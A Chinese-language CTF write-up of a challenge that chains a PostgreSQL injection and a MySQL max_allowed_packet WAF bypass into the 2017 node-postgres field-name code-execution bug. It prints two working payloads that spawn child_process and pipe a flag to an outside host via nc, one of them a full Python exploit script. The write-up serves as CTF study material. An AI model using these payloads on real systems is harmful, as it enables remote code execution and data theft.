最近實(shí)在是太多事情了Orz,所以沒(méi)有及時(shí)更新復(fù)現(xiàn)。。(其實(shí)是偷懶
分享本題自制Dockerfile:Github
這道題涉及到的知識(shí)點(diǎn):
- mysql的max_allowed_packet
- node-postgresql的一個(gè)RCE
- postgresql中語(yǔ)句返回值的問(wèn)題
本題連接了兩個(gè)數(shù)據(jù)庫(kù) 一個(gè)是mysql--用作waf之后ip和payload記錄,另外一個(gè)是postgresql--用作注冊(cè)時(shí)記錄用戶名稱(chēng)和密碼
因?yàn)橹饕欠治龃蟠蟮膒ayload為主,這里的考察點(diǎn)主要是node-postgresql近期的一個(gè)RCE漏洞(https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability)
這個(gè)洞詳細(xì)的分析P神已經(jīng)在博客貼出來(lái)了(https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html)
并且復(fù)現(xiàn)環(huán)境p神也已經(jīng)寫(xiě)了Dockerfile(https://github.com/vulhub/vulhub/tree/master/node/node-postgres)
簡(jiǎn)單來(lái)說(shuō)就是客戶端在獲取表字段的時(shí)候因?yàn)檗D(zhuǎn)譯不完全導(dǎo)致原本應(yīng)該拼接在代碼中的字段名被構(gòu)造成了惡意代碼傳入了Function()這個(gè)類(lèi),這個(gè)類(lèi)類(lèi)似于PHP中的create_function,因?yàn)楹瘮?shù)體可控 ,也就造成了命令執(zhí)行。然后官方也有轉(zhuǎn)譯,但是官方的轉(zhuǎn)譯只是把' --> \' , 所以在前面加個(gè)\就能逃逸出來(lái)(逃逸后的字符串就是 \\')
所以這里的目的就很明確了 --> 通過(guò)postgresql的注入造成代碼拼接命令執(zhí)行
?
但是會(huì)遇到兩個(gè)問(wèn)題:
- 這里postgresql存在注入 但是首先得繞過(guò)一大堆關(guān)鍵字waf
- 我們的ip不能在mysql留下記錄 (這里的waf思路是如果有keyword則插入記錄 后面再查詢,如果有記錄則攔截)
思路:
-
造成Mysql插入出錯(cuò)
提交一個(gè)很長(zhǎng)很長(zhǎng)的查詢(默認(rèn)包大小為16M),超出max_allowed_packet造成連接關(guān)閉,sql語(yǔ)句就不會(huì)執(zhí)行 官方文檔:max_allowed_packet
這樣沒(méi)有插入的話就不會(huì)查詢到記錄,即達(dá)到繞過(guò)waf的目的 或者使用postgreSQL支持將16進(jìn)制的值轉(zhuǎn)換成Unicode字符、并且可以自定義轉(zhuǎn)譯符的特性來(lái)將關(guān)鍵字全部替換掉, 從而達(dá)到繞過(guò)waf的目的, Eg: 國(guó)外大佬的wp(其中空格使用\t繞過(guò),自定義轉(zhuǎn)譯符為感嘆號(hào))
','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';
- 構(gòu)造RCE代碼2017-08-12 - code execution vulnerability
目的是構(gòu)造相應(yīng)的字段名稱(chēng)造成RCE(詳細(xì)原因請(qǐng)看P神關(guān)于漏洞的分析)
這里會(huì)出現(xiàn)新問(wèn)題:- 不能控制insert的字段名,并且insert沒(méi)有返回值(?)
- 這里利用了分號(hào)切割sql語(yǔ)句,不能通過(guò);閉合sql語(yǔ)句的方式構(gòu)造RCE
這里閱讀 文檔, postgresql允許在insert或者update后選擇一個(gè)或多個(gè)字段返回, 所以在這里就有可控字段名了, 使用格式 insert into xx(aa,bb) values('cc','dd') returning ee as ff;
最后就是構(gòu)造RCE中P神在博客中提到的
單雙引號(hào)都不能正常使用,我們可以使用es6中的反引號(hào)
Function
環(huán)境下沒(méi)有require
函數(shù), 不能獲得child_process
模塊, 但是可以通過(guò)process.mainModule.constructor._load
來(lái)代替require
一個(gè)fieldName只能有64位長(zhǎng)度, 所以通過(guò)多個(gè)fieldName拼接來(lái)完成利用
最后是orange大大的exp:
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://10.188.2.20:12345/reg', data=data);
print r.content
參考:
https://github.com/orangetw/My-CTF-Web-Challenges
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
https://github.com/vulhub/vulhub/tree/master/node/node-postgres
https://www.postgresql.org/docs/9.6/static/sql-syntax-lexical.html
https://www.postgresql.org/docs/9.5/static/dml-returning.html
https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/sql-so-hard.md
https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability